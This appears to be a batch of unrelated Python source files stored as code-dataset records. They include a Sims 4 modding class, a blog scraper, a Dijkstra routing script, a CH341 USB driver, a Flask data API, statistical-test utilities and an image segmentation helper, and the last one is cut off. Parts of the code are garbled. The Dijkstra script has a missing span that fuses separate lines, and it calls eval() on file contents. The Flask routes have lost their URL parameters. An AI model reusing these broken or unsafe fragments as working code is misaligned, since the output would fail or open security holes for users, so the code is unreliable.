+{"seq_id":"40120246","text":"\"\"\"\nThe Sims 4 Community Library is licensed under the Creative Commons Attribution 4.0 International public license (CC BY 4.0).\nhttps://creativecommons.org/licenses/by/4.0/\nhttps://creativecommons.org/licenses/by/4.0/legalcode\n\nCopyright (c) COLONOLNUTTY\n\"\"\"\nfrom typing import Any, Callable\n\nfrom sims4communitylib.utils.common_function_utils import CommonFunctionUtils\nfrom sims4communitylib.dialogs.option_dialogs.options.common_dialog_option_context import CommonDialogOptionContext\nfrom sims4communitylib.dialogs.option_dialogs.options.objects.common_dialog_select_option import CommonDialogSelectOption\n\n\nclass CommonDialogActionOption(CommonDialogSelectOption):\n    \"\"\"CommonDialogActionOption(context, on_chosen=CommonFunctionUtils.noop)\n\n    An option that invokes a callback upon being chosen.\n\n    :param context: A context to customize the dialog option.\n    :type context: CommonDialogOptionContext\n    :param on_chosen: A callback invoked when the dialog option is chosen.\n    :type on_chosen: Callable[..., Any], optional\n    \"\"\"\n    def __init__(\n        self,\n        context: CommonDialogOptionContext,\n        on_chosen: Callable[..., Any]=CommonFunctionUtils.noop,\n    ):\n        def _on_chosen(_, __):\n            on_chosen()\n\n        super().__init__(\n            'Dialog Action',\n            None,\n            context,\n            on_chosen=_on_chosen\n        )\n","sub_path":"Scripts/sims4communitylib/dialogs/option_dialogs/options/objects/common_dialog_action_option.py","file_name":"common_dialog_action_option.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"392934745","text":"from requests import get\nfrom requests.exceptions import RequestException\nfrom contextlib import closing\nfrom bs4 import BeautifulSoup\nimport re\nimport time\n\ndef get_html(url):\n    try:\n        with closing(get(url, stream=True)) as resp:\n            ctype = resp.headers['Content-Type'].lower()\n\n            if resp.status_code == 200 and ctype is not None and ctype.find('html') > -1:\n                return resp.content\n            else:\n                return None\n\n    except RequestException as e:\n        return None\n\ndef get_links(raw_html):\n    root = BeautifulSoup(raw_html, 'html.parser')\n    mainsite = root.findAll('div', {'class': 'site-main'})[0]\n    return [article.find('a')['href'] for article in mainsite.findAll('article')]\n\ndef get_article_text(raw_html):\n    root = BeautifulSoup(raw_html, 'html.parser')\n    article = root.find('article').find('div', {'class': 'entry-content'})\n    texts = article.findAll('p', {'style': 'text-align: justify;'})\n    parsed = []\n\n    for text in texts:\n        try:\n            no_escapes = re.sub(r\"([#\\\\?])(\\w+)\\b\", ' ', text.find(text=True))\n            parsed.append(' '.join(no_escapes.split()))\n        except:\n            pass\n\n    return parsed\n\n\nif __name__ == '__main__':\n    for page_num in range(21, 40):\n        texts = []\n        time.sleep(2)\n        print('index:', page_num)\n        \n        index_html = get_html('https://www.amodelrecommends.com/category/beauty/page/' + str(page_num) + '/')\n        links = get_links(index_html)\n\n        for link in links:\n            print(link)\n            time.sleep(3)\n            article_html = get_html(link)\n            texts = texts + get_article_text(article_html)\n            \n\n        with open('parsed_amodelrecommends' + str(page_num) + '.txt', 'w') as outfile:\n            for text in texts:\n                outfile.write(text)\n                outfile.write('\\n')\n","sub_path":"Teams/semeai tech/util/parser/amrparser.py","file_name":"amrparser.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"610879810","text":"## CTI-110 \r\n## P4T2: Bug Collector\r\n## Dominique Perteet\r\n## 6/28/2018\r\n\r\n\r\n# Initialize the accumlator.\r\ntotal = 0\r\n\r\n# Get the bugs collected for each day.\r\nfor day in range(1, 8):\r\n    # Prompt the user.\r\n    print('Enter the bus collected on day', day)\r\n\r\n    # Input the number of bugs.\r\n    bugs = int(input())\r\n\r\n    # Add bugs to total.\r\n    total += bugs\r\n\r\n# Display the total bugs.\r\nprint('Collected a total of', total, 'bugs')\r\n","sub_path":"P4T2Bug CollectorPerteetDominique.py","file_name":"P4T2Bug CollectorPerteetDominique.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"298492563","text":"\n\nfrom xai.brain.wordbase.nouns._semaphore import _SEMAPHORE\n\n#calss header\nclass _SEMAPHORING(_SEMAPHORE, ):\n\tdef __init__(self,): \n\t\t_SEMAPHORE.__init__(self)\n\t\tself.name = \"SEMAPHORING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"semaphore\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_semaphoring.py","file_name":"_semaphoring.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"307083679","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[32]:\n\n\nimport sys\nimport copy\ndef GetAdjlist(filename):\n    with open(filename,'r') as casefile:\n        case = casefile.read()\n        graphrows = case.split('\\n')\n        Adjlist=[]\n        for i in range(len(graphrows)):\n            a=graphrows[i].split(' ')\n            for j in range(len(a)):\n                a[j]=int(a[j])\n            Adjlist.append(a)\n        return Adjlist\n    \n\n\n\ndef findnextnode(dis,inf_dis):\n    nextnode={}\n    if inf_dis==True:\n        for i in range(len(dis)):  #i從0到n-1,node=i+1\n            if dis[i]!=0:\n                nextnode[i+1]=dis[i]\n                \n    if inf_dis==False:\n        for i in range(len(dis)):  #i從0到n-1,node=i+1\n            if dis[i]!=0 and dis[i]!=-1:\n                nextnode[i+1]=dis[i]\n    return nextnode\n\n\n\n\ndef Dijkstra_algorithm(Adjlist):\n    Adjlist=copy.deepcopy(Adjlist)\n    Graphsize = Adjlist[0][0]\n    Q=set(i for i in range(1,Graphsize+1))\n    nextrouter=[[None]]+[[i for i in range(1,Graphsize+1)] for j in range(Graphsize)]\n    \n    while Q:\n        nownode = Q.pop()\n        dis=Adjlist[nownode]\n        c=findnextnode(dis,False)\n        \n        while c.keys():\n            closestnode = min(c, key=c.get)\n            closestnodepath = findnextnode(Adjlist[closestnode],False)\n            \n            for i in closestnodepath.keys():\n                \n                if closestnodepath[i]+c[closestnode]remove router=-1 \n        Adjlist[i][router-1]=-1\n    for j in range(len(Adjlist[router])):  #The distance remove router->other router=-1 \n        Adjlist[router][j]=-1\n    Adjlist[router][router-1]=0  #remove router->remove router=0\n    return Adjlist\n\n\n# In[31]:\n\n\ndef main():    \n    if sys.argv[1]=='lf':\n        load = GetAdjlist(sys.argv[2])\n\n        with open ('log.txt','w') as logf:\n            logf.write(str(load)) #write adjlist into log.txt\n        with open ('file_name.txt','w') as fname:\n            fname.write(sys.argv[2][:-4])\n        with open ('router_rec.txt','w') as f:\n            f.write('[]')\n\n\n    if sys.argv[1]=='rm':\n        with open ('log.txt','r') as logf:\n            OpAdjlist=eval(logf.read())\n\n\n        rm = removerouter(OpAdjlist,int(sys.argv[2][1:]))\n        with open ('log.txt','w') as logf:\n            logf.write(str(rm)) #write adjlist into log.txt\n        with open ('router_rec.txt','r') as f:\n            a=eval(f.read())\n            a.append(int(sys.argv[2][1:]))\n        with open ('router_rec.txt','w') as f:\n            f.write(str(a))\n\n\n    if sys.argv[1]=='of':\n        with open ('log.txt','r') as logf:\n            OpAdjlist=eval(logf.read())\n        with open ('router_rec.txt','r') as f:\n            rmrouter = eval(f.read())\n\n        with open ('file_name.txt','r') as fname:\n            Opfilename = fname.read()+'_out2.txt'\n\n        Writetxt(OpAdjlist,Opfilename,rmrouter)\n\n        \nmain()\n\n\n# In[30]:\n\n\n\n\n\n# In[28]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"B08901067_hw3/src_2/Dijkstra2.py","file_name":"Dijkstra2.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"582628861","text":"from ctypes import *\r\n\r\nfrom CH341DriverBase import *\r\n\r\n\r\n# MIT License.\r\n\r\n\r\nclass CH341Driver:\r\n    \"\"\"\r\n    This is basic interface code for a CH341 to be run in EPP 1.9 mode.\r\n    \"\"\"\r\n\r\n    def __init__(self, index=-1, bus=-1, address=-1, serial=-1, chipv=-1, state_listener=None):\r\n        if state_listener is None:\r\n            self.state_listener = lambda code: None\r\n        else:\r\n            self.state_listener = state_listener\r\n        try:\r\n            self.driver = windll.LoadLibrary(\"CH341DLL.dll\")\r\n        except (NameError, OSError):\r\n            raise ConnectionRefusedError\r\n        self.driver_index = 0\r\n        self.index = index\r\n        self.bus = bus\r\n        self.address = address\r\n        self.serial = serial\r\n        self.chipv = chipv\r\n        self.driver_value = None\r\n        self.state = None\r\n\r\n    def set_status(self, code):\r\n        self.state_listener(code)\r\n        self.state = code\r\n\r\n    def try_open(self, i):\r\n        \"\"\"Tries to open device at index, with given criteria\"\"\"\r\n        self.driver_index = i\r\n        val = self.driver.CH341OpenDevice(self.driver_index)\r\n        self.driver_value = val\r\n        if val == -1:\r\n            self.driver_value = None\r\n            self.set_status(STATE_CONNECTION_FAILED)\r\n            raise ConnectionRefusedError  # No more devices.\r\n        # There is a device.\r\n        if self.chipv != -1:\r\n            chipv = self.get_chip_version()\r\n            if self.chipv != chipv:\r\n                # Rejected.\r\n                self.set_status(STATE_DEVICE_REJECTED)\r\n                self.driver.CH341CloseDevice(self.driver_index)\r\n                return -1\r\n        if self.bus != -1:\r\n            pass  # Windows driver no bus check.\r\n        if self.address != -1:\r\n            pass  # Windows driver no address check.\r\n        if self.serial != -1:\r\n            pass  # No driver has a serial number.\r\n        # The device passes our tests.\r\n        return 0\r\n\r\n    def open(self):\r\n        \"\"\"\r\n        Opens the driver for unknown criteria.\r\n        \"\"\"\r\n        if self.driver_value is None:\r\n            self.set_status(STATE_DRIVER_CH341)\r\n            self.set_status(STATE_CONNECTING)\r\n            if self.index == -1:\r\n                for i in range(0, 16):\r\n                    if self.try_open(i) == 0:\r\n                        break  # We have our driver.\r\n            else:\r\n                self.try_open(self.index)\r\n            self.set_status(STATE_USB_CONNECTED)\r\n            self.set_status(STATE_CH341_PARAMODE)\r\n            try:\r\n                self.driver.CH341InitParallel(self.driver_index, 1)  # 0x40, 177, 0x8800, 0, 0\r\n                self.set_status(STATE_CH341_PARAMODE_SUCCESS)\r\n            except ConnectionError:\r\n                self.set_status(STATE_CH341_PARAMODE_FAIL)\r\n                self.driver.CH341CloseDevice(self.driver_index)\r\n            # self.driver.CH341SetExclusive(self.driver_index, 1)\r\n            self.set_status(STATE_CONNECTED)\r\n\r\n    def close(self):\r\n        \"\"\"\r\n        Closes the driver for the stated device index.\r\n        \"\"\"\r\n        self.driver_value = None\r\n        self.set_status(STATE_USB_SET_DISCONNECTING)\r\n        if self.driver_value == -1:\r\n            self.set_status(STATE_USB_RESET_FAIL)\r\n            raise ConnectionError\r\n        self.driver.CH341CloseDevice(self.driver_index)\r\n        self.set_status(STATE_USB_DISCONNECTED)\r\n\r\n    def write(self, packet):\r\n        \"\"\"\r\n        Writes a 32 byte packet to the device. This is typically \\x00 + 30 bytes + CRC\r\n        The driver will packetize the \\0xA6 writes.\r\n\r\n        :param packet: 32 bytes of data to be written to the CH341.\r\n        :return:\r\n        \"\"\"\r\n        if self.driver_value == -1:\r\n            raise ConnectionError\r\n        length = len(packet)\r\n        obuf = (c_byte * length)()\r\n        for i in range(length):\r\n            obuf[i] = packet[i]\r\n        length = (c_byte * 1)()\r\n        length[0] = 32\r\n        self.driver.CH341EppWriteData(self.driver_index, obuf, length)\r\n\r\n    def get_status(self):\r\n        \"\"\"\r\n        Gets the status bytes from the CH341. This is usually 255 for the D0-D7 values\r\n        And the state flags for the chip signals. Importantly are WAIT which means do not\r\n        send data, and ERR which means the data sent was faulty. And PEMP which means the\r\n        buffer is empty.\r\n\r\n        StateBitERR\t\t0x00000100\r\n        StateBitPEMP\t0x00000200\r\n        StateBitINT\t\t0x00000400\r\n        StateBitSLCT\t0x00000800\r\n        StateBitWAIT\t0x00002000\r\n        StateBitDATAS\t0x00004000\r\n        StateBitADDRS\t0x00008000\r\n        StateBitRESET\t0x00010000\r\n        StateBitWRITE\t0x00020000\r\n        StateBitSCL\t    0x00400000\r\n        StateBitSDA\t\t0x00800000\r\n        :return:\r\n        \"\"\"\r\n        if self.driver_value == -1:\r\n            raise ConnectionRefusedError\r\n        obuf = (c_byte * 6)()\r\n        self.driver.CH341GetStatus(self.driver_index, obuf)\r\n        return [int(q & 0xff) for q in obuf]\r\n\r\n    def get_chip_version(self):\r\n        \"\"\"\r\n        Gets the version of the CH341 chip being used.\r\n        :return: version. Eg. 48.\r\n        \"\"\"\r\n        if self.driver_value == -1:\r\n            raise ConnectionRefusedError\r\n        return self.driver.CH341GetVerIC(self.driver_index)\r\n","sub_path":"CH341WindllDriver.py","file_name":"CH341WindllDriver.py","file_ext":"py","file_size_in_byte":5269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"127300254","text":"settings = {\n    \"template_dir\": \"gunicorn\", # Type of template to match\n    \"site_name\": \"edgemon\", \n    \"site_url\": \"edgemon.org\", # url, e.g. mysite.com\n    \"proxy_port\": 29002, # proxy for gunicorn\n    \"top_level\": True, # App is at the top level of a url.\n    'subdomains' : [ # Additional nginx servers\n        { \n            \"prefix\": \"guessthatnumber\" ,\n            # WTF mustache? You lose access to other variables inside a loop?\n            \"site_name\": \"edgemon\", \n            \"site_url\": \"edgemon.org\", # url, e.g. mysite.com\n            \"root\": \"/home/chris/www/guessthatnumber/\",\n          },\n        {\n            \"prefix\": \"opentable\",\n            \"site_url\": \"edgemon.org\",\n            \"rewrite\": \"http://restaurant-pockets.heroku.com\",\n            }\n        ]\n    }\n","sub_path":"mustache_settings/edgemon.py","file_name":"edgemon.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"77034975","text":"# import necessary libraries\nimport os\nimport pandas as pd\nfrom flask import (\n    Flask,\n    render_template,\n    jsonify,\n    request,\n    redirect)\n# from flask_sqlalchemy import SQLAlchemy\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom datetime import datetime\n\nfrom config import dbuser, dbpassword, dbhost, dbport, dbname\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n#################################################\n# Database Setup\n#################################################\n\n# try:\n#     db_uri = os.environ['DATABASE_URL']\n# except KeyError:\n#     db_uri = \"Insert Local Database\"\n\n# print(db_uri)\n# app.config['SQLALCHEMY_DATABASE_URI'] = db_uri\n\n# db = SQLAlchemy(app)\n\n# Connect session or connection to db\n# session = Session(engine)\n# connection = engine.connect()\n\n# Connect to Database - Alternative\nengine = create_engine(\n    f\"postgres://{dbuser}:{dbpassword}@{dbhost}:{dbport}/{dbname}\")\n# f'postgresql://{dbuser}:{dbpassword}@database-1.cvmfiiilpm7y.us-east-1.rds.amazonaws.com:{dbport}/{dbname}')\n\nsession = Session(engine)\nconnection = engine.connect()\n\nyoutubeVids = pd.read_sql(f\"SELECT * FROM youtube_table\", connection)\n\nconnection.close()\nsession.close()\n\n\n@app.route(\"/\")\ndef home():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/data/\")\ndef data(country):\n    ##### Open a session/connection #####\n\n    singleCountry_youtubeVids = youtubeVids[youtubeVids[\"country\"] == country]\n\n    singleCountry_youtubeVids = singleCountry_youtubeVids.to_dict(\n        orient='records')\n    ##### Close the session/connection #####\n\n    ##### Return a json which could be parsed further using js #####\n    return jsonify(singleCountry_youtubeVids)\n\n\n@app.route(\"/bar//\")\ndef bar(country, metric):\n\n    barData = youtubeVids[youtubeVids[\"country\"] == country]\n\n    barData = barData.groupby('categoryId').sum()\n    barData = barData[metric]\n    barData = barData.to_dict()\n\n    return jsonify(barData)\n\n\n@app.route(\"/line//\")\ndef line(country, metric):\n    lineData = youtubeVids[youtubeVids[\"country\"] == country]\n    # add a timestamp column to dataframe\n    timestamps = []\n    for index, row in lineData.iterrows():\n        t = row[\"publishedAt\"]\n        td = datetime(t.year, t.month, t.day)\n        datetime.timestamp(td)\n        timestamps.append(datetime.timestamp(td))\n    lineData[\"timestamp\"] = timestamps\n    # get top three categories\n    topThree = list(lineData.groupby([\"categoryId\"]).sum()[\n                    \"likes\"].sort_values(ascending=False).index[0:3])\n    # Select one category and group by timeStamp\n    first = lineData[lineData[\"categoryId\"] == topThree[0]]\n    first = first.groupby(\"timestamp\").sum()\n    first = first[metric].to_dict()\n    return jsonify(first)\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"213169807","text":"import itertools\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scikit_posthocs as sp\nfrom scipy import stats\nfrom scipy.stats import ranksums\nfrom scipy.stats import ttest_ind\n\nfrom .losses import Losses\n\n\nclass AnalyseResults(object):\n    \"\"\"\n    Analyze results of machine learning experiments.\n\n    Parameters\n    ----------\n    result : sktime result object\n        class for storing the results\n    \"\"\"\n\n    def __init__(self,\n                 results):\n\n        self._results_list = results.load()\n\n    def prediction_errors(self, metric):\n        \"\"\"\n        Calculates the average prediction error per estimator as well as the prediction error achieved by each estimator on individual datasets.\n\n        Parameters\n        -----------\n        metric : `sktime.analyse_results.scores`\n            Error function \n        Returns\n        -------\n        pickle of pandas DataFrame\n            ``estimator_avg_error`` represents the average error and standard deviation achieved by each estimator. ``estimator_avg_error_per_dataset`` represents the average error and standard deviation achieved by each estimator on each dataset.\n        \"\"\"\n        # load all predictions\n        losses = Losses(metric)\n        for res in self._results_list:\n            y_pred = res.y_pred\n            y_pred = list(map(float, y_pred))\n            y_true = res.y_true\n            y_true = list(map(float, y_true))\n\n            losses.evaluate(predictions=y_pred,\n                            true_labels=y_true,\n                            dataset_name=res.dataset_name,\n                            strategy_name=res.strategy_name)\n        return losses.get_losses()\n\n    def average_and_std_error(self, scores_dict):\n        \"\"\"\n        Calculates simple average and standard error.\n\n        Paramteters\n        -----------\n        scores_dict : dictionary\n            Dictionary with estimators (keys) and corresponding prediction accuracies on different datasets.\n        \n        Returns\n        -------\n        pandas DataFrame\n            result with average score and standard error\n        \"\"\"\n        result = {}\n        for k in scores_dict.keys():\n            average = np.average(scores_dict[k])\n            n = len(scores_dict[k])\n            std_error = np.std(scores_dict[k]) / np.sqrt(n)\n            result[k] = [average, std_error]\n\n        res_df = pd.DataFrame.from_dict(result, orient='index')\n        res_df.columns = ['avg_score', 'std_error']\n        res_df = res_df.sort_values(['avg_score', 'std_error'], ascending=[1, 1])\n\n        return res_df\n\n    def plot_boxcharts(self, scores_dict):\n        data = []\n        labels = []\n        avg_error = []\n        for e in scores_dict.keys():\n            data.append(scores_dict[e])\n            avg_error.append(np.mean(scores_dict[e]))\n            labels.append(e)\n        # sort data and labels based on avg_error\n        idx_sort = np.array(avg_error).argsort()\n        data = [data[i] for i in idx_sort]\n        labels = [labels[i] for i in idx_sort]\n        # plot the results\n        fig, ax = plt.subplots()\n        ax.boxplot(data)\n        ax.set_xticklabels(labels, rotation=90)\n        plt.tight_layout()\n\n        return fig\n\n    def ranks(self, strategy_dict, ascending=True):\n        \"\"\"\n        Calculates the average ranks based on the performance of each estimator on each dataset\n\n        Parameters\n        ----------\n        strategy_dict: dictionary\n            dictionay with keys `names of estimators` and values `errors achieved by estimators on test datasets`.\n        ascending: boolean\n            Rank the values in ascending (True) or descending (False) order\n\n        Returns\n        -------\n        DataFrame\n            Returns the mean peformance rank for each estimator\n        \"\"\"\n        if not isinstance(ascending, bool):\n            raise ValueError('Variable ascending needs to be boolean')\n\n        df = pd.DataFrame(strategy_dict)\n        ranked = df.rank(axis=1, ascending=ascending)\n        mean_r = pd.DataFrame(ranked.mean(axis=0))\n        mean_r.columns = ['avg_rank']\n        mean_r = mean_r.sort_values('avg_rank', ascending=ascending)\n        return mean_r\n\n    def t_test(self, strategy_dict):\n        \"\"\"\n        Runs t-test on all possible combinations between the estimators.\n\n        Parameters\n        ----------\n        strategy_dict: dictionary\n            dictionay with keys `names of estimators` and values `errors achieved by estimators on test datasets`.\n        Returns\n        -------\n        tuple \n            pandas DataFrame (Database style and MultiIndex)\n        \"\"\"\n        t_df = pd.DataFrame()\n        perms = itertools.product(strategy_dict.keys(), repeat=2)\n        values = np.array([])\n        for perm in perms:\n            x = np.array(strategy_dict[perm[0]])\n            y = np.array(strategy_dict[perm[1]])\n            t_stat, p_val = ttest_ind(x, y)\n\n            t_test = {\n                'estimator_1': perm[0],\n                'estimator_2': perm[1],\n                't_stat': t_stat,\n                'p_val': p_val\n            }\n\n            t_df = t_df.append(t_test, ignore_index=True)\n            values = np.append(values, t_stat)\n            values = np.append(values, p_val)\n\n        index = t_df['estimator_1'].unique()\n        values_names = ['t_stat', 'p_val']\n        col_idx = pd.MultiIndex.from_product([index, values_names])\n        values_reshaped = values.reshape(len(index), len(values_names) * len(index))\n\n        values_df_multiindex = pd.DataFrame(values_reshaped, index=index, columns=col_idx)\n\n        return t_df, values_df_multiindex\n\n    def sign_test(self, strategy_dict):\n        \"\"\"\n        Non-parametric test for test for consistent differences between pairs of observations. See ``_ for details about the test and ``_ for details about the scipy implementation.\n\n        Parameters\n        ----------\n        strategy_dict: dictionary\n            dictionay with keys `names of estimators` and values `errors achieved by estimators on test datasets`.\n        Returns\n        -------\n        tuple of dataframes \n            pandas DataFrame (Database style), pivot table)\n        \"\"\"\n        sign_df = pd.DataFrame()\n        perms = itertools.product(strategy_dict.keys(), repeat=2)\n        for perm in perms:\n            x = np.array(strategy_dict[perm[0]])\n            y = np.array(strategy_dict[perm[1]])\n            signs = np.sum([i[0] > i[1] for i in zip(x, y)])\n            n = len(x)\n            p_val = stats.binom_test(signs, n)\n            sign_test = {\n                'estimator_1': perm[0],\n                'estimator_2': perm[1],\n                'p_val': p_val\n            }\n\n            sign_df = sign_df.append(sign_test, ignore_index=True)\n            sign_df_pivot = sign_df.pivot(index='estimator_1', columns='estimator_2', values='p_val')\n\n        return sign_df, sign_df_pivot\n\n    def ranksum_test(self, strategy_dict):\n        \"\"\"\n        Non-parametric test for testing consistent differences between pairs of obeservations.\n        The test counts the number of observations that are greater, smaller and equal to the mean\n        ``_.\n\n        Parameters\n        ----------\n        strategy_dict: dictionary\n            dictionay with keys `names of estimators` and values `errors achieved by estimators on test datasets`.\n        Returns\n        -------\n        tuple of pandas DataFrame \n            Database style and MultiIndex\n        \"\"\"\n        ranksum_df = pd.DataFrame()\n        perms = itertools.product(strategy_dict.keys(), repeat=2)\n        values = np.array([])\n        for perm in perms:\n            comb = perm[0] + ' - ' + perm[1]\n            x = strategy_dict[perm[0]]\n            y = strategy_dict[perm[1]]\n            t_stat, p_val = ranksums(x, y)\n            ranksum = {\n                'estimator_1': perm[0],\n                'estimator_2': perm[1],\n                't_stat': t_stat,\n                'p_val': p_val\n            }\n            ranksum_df = ranksum_df.append(ranksum, ignore_index=True)\n            values = np.append(values, t_stat)\n            values = np.append(values, p_val)\n\n        index = ranksum_df['estimator_1'].unique()\n        values_names = ['t_stat', 'p_val']\n        col_idx = pd.MultiIndex.from_product([index, values_names])\n        values_reshaped = values.reshape(len(index), len(values_names) * len(index))\n\n        values_df_multiindex = pd.DataFrame(values_reshaped, index=index, columns=col_idx)\n\n        return ranksum_df, values_df_multiindex\n\n    def t_test_with_bonferroni_correction(self, strategy_dict, alpha=0.05):\n        \"\"\"\n        correction used to counteract multiple comparissons\n        https://en.wikipedia.org/wiki/Bonferroni_correction\n\n        \n        Parameters\n        ----------\n        strategy_dict: dictionary\n            dictionay with keys `names of estimators` and values `errors achieved by estimators on test datasets`.\n        alpha: float\n            confidence level.\n        Returns\n        -------\n        DataFrame \n            MultiIndex DataFrame\n        \"\"\"\n        df_t_test, _ = self.t_test(strategy_dict)\n        idx_estim_1 = df_t_test['estimator_1'].unique()\n        idx_estim_2 = df_t_test['estimator_2'].unique()\n        estim_1 = len(idx_estim_1)\n        estim_2 = len(idx_estim_2)\n        critical_value = alpha / (estim_1 * estim_2)\n\n        bonfer_test = df_t_test['p_val'] <= critical_value\n\n        bonfer_test_reshaped = bonfer_test.values.reshape(estim_1, estim_2)\n\n        bonfer_df = pd.DataFrame(bonfer_test_reshaped, index=idx_estim_1, columns=idx_estim_2)\n\n        return bonfer_df\n\n    def wilcoxon_test(self, strategy_dict):\n        \"\"\"http://en.wikipedia.org/wiki/Wilcoxon_signed-rank_test\n        `Wilcoxon signed-rank test `_.\n        Tests whether two  related paired samples come from the same distribution. \n        In particular, it tests whether the distribution of the differences x-y is symmetric about zero\n\n        Parameters\n        ----------\n        strategy_dict: dictionary\n            Dictionary with errors on test sets achieved by estimators.\n        Returns\n        -------\n        tuple \n            pandas DataFrame (Database style and MultiIndex)\n        \"\"\"\n        wilcoxon_df = pd.DataFrame()\n        values = np.array([])\n        prod = itertools.product(strategy_dict.keys(), repeat=2)\n        for p in prod:\n            estim_1 = p[0]\n            estim_2 = p[1]\n            w, p_val = stats.wilcoxon(strategy_dict[p[0]],\n                                      strategy_dict[p[1]])\n\n            w_test = {\n                'estimator_1': estim_1,\n                'estimator_2': estim_2,\n                'statistic': w,\n                'p_val': p_val\n            }\n\n            wilcoxon_df = wilcoxon_df.append(w_test, ignore_index=True)\n            values = np.append(values, w)\n            values = np.append(values, p_val)\n\n        index = wilcoxon_df['estimator_1'].unique()\n        values_names = ['statistic', 'p_val']\n        col_idx = pd.MultiIndex.from_product([index, values_names])\n        values_reshaped = values.reshape(len(index), len(values_names) * len(index))\n\n        values_df_multiindex = pd.DataFrame(values_reshaped, index=index, columns=col_idx)\n\n        return wilcoxon_df, values_df_multiindex\n\n    def friedman_test(self, strategy_dict):\n        \"\"\"\n        The Friedman test is a non-parametric statistical test used to detect differences \n        in treatments across multiple test attempts. The procedure involves ranking each row (or block) together, \n        then considering the values of ranks by columns.\n        Implementation used: `scipy.stats `_. \n        \n        Parameters\n        ----------\n        strategy_dict : dict\n            Dictionary with errors on test sets achieved by estimators.\n        Returns\n        -------\n        tuple \n            dictionary, pandas DataFrame.\n        \n        \"\"\"\n\n        \"\"\"\n        use the * operator to unpack a sequence\n        https://stackoverflow.com/questions/2921847/what-does-the-star-operator-mean/2921893#2921893\n        \"\"\"\n        friedman_test = stats.friedmanchisquare(*[strategy_dict[k] for k in strategy_dict.keys()])\n        values = [friedman_test[0], friedman_test[1]]\n        values_df = pd.DataFrame([values], columns=['statistic', 'p_value'])\n\n        return friedman_test, values_df\n\n    def nemenyi(self, strategy_dict):\n        \"\"\"\n        Post-hoc test run if the `friedman_test` reveals statistical significance.\n        For more information see `Nemenyi test `_.\n        Implementation used `scikit-posthocs `_.\n        \n        Parameters\n        ----------\n        strategy_dict : dict\n            Dictionary with errors on test sets achieved by estimators.\n        Returns\n        -------\n        pandas DataFrame\n            Results of te Nemenyi test\n        \"\"\"\n\n        strategy_dict = pd.DataFrame(strategy_dict)\n        strategy_dict = strategy_dict.melt(var_name='groups', value_name='values')\n        nemenyi = sp.posthoc_nemenyi(strategy_dict, val_col='values', group_col='groups')\n        return nemenyi\n","sub_path":"sktime/experiments/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":13537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"493466805","text":"import cv2\nimport os\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport config\nimport numpy as np\nimport utils\nfrom skimage.transform import resize\n\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'\n\ndef SelectiveSearch(img, crop=False, resizing=False, saveFiles=False, maxSave=2000, min_s=500, big_regions=40000):\n    im = plt.imread(img)\n\n    if crop:\n        newHeight = min(1500, im.shape[0])\n        newWidth = min(1500, im.shape[1])\n\n        im = im[0:newHeight, 0:newWidth]\n\n    elif resizing:\n        if im.shape[0]>1000 or im.shape[1]>1000:\n            if im.shape[0] >= im.shape[1]:\n                newHeight = 1000\n                newWidth = int(im.shape[1] * 1000 / im.shape[0])\n            else:\n                newWidth = 1000\n                newHeight = int(im.shape[0] * 1000 / im.shape[1])\n\n            im = resize(im, (newHeight, newWidth), anti_aliasing=True)\n            im = im.astype(\"float32\")\n\n    # create Selective Search Segmentation Object using default parameters\n    ss = cv2.ximgproc.segmentation.createSelectiveSearchSegmentation()\n\n    # create Graph Segmentation to be able to define parameters\n    gs = cv2.ximgproc.segmentation.createGraphSegmentation(sigma=0.8, k=1, min_size=min_s)\n\n    # set input image on which we will run segmentation\n    ss.setBaseImage(im)\n\n    ss.switchToSelectiveSearchFast()\n    # ss.switchToSelectiveSearchQuality()\n\n    # add Graph Segmentation to Search Segmentation\n    ss.addGraphSegmentation(gs)\n\n    # run selective search segmentation on input image\n    rects = ss.process()\n    print('Total Number of Region Proposals: {}'.format(len(rects)))\n\n    print(\"Deleting big regions...\")\n    rects = rects[np.where(rects[:, 2]*rects[:, 3] < big_regions)]\n    print(\"Regions after deleting: {}\".format(len(rects)))\n\n    rects = utils.bbox_to_max(rects)\n\n    if saveFiles:\n        print(\"Saving regions...\")\n        # iterate over all the region proposals\n        for i, rect in enumerate(rects):\n            # draw rectangle for region proposal till numShowRects\n            if i < maxSave:\n                x, y, w, h = rect\n                output_file = os.path.join(config.OUTPUT_REGIONS, os.path.splitext(os.path.basename(img))[0] + \"_\" + str(i) + \".png\")\n                plt.imsave(output_file, tf.image.crop_to_bounding_box(im, y, x, h, w))\n            else:\n                break\n\n    return im, 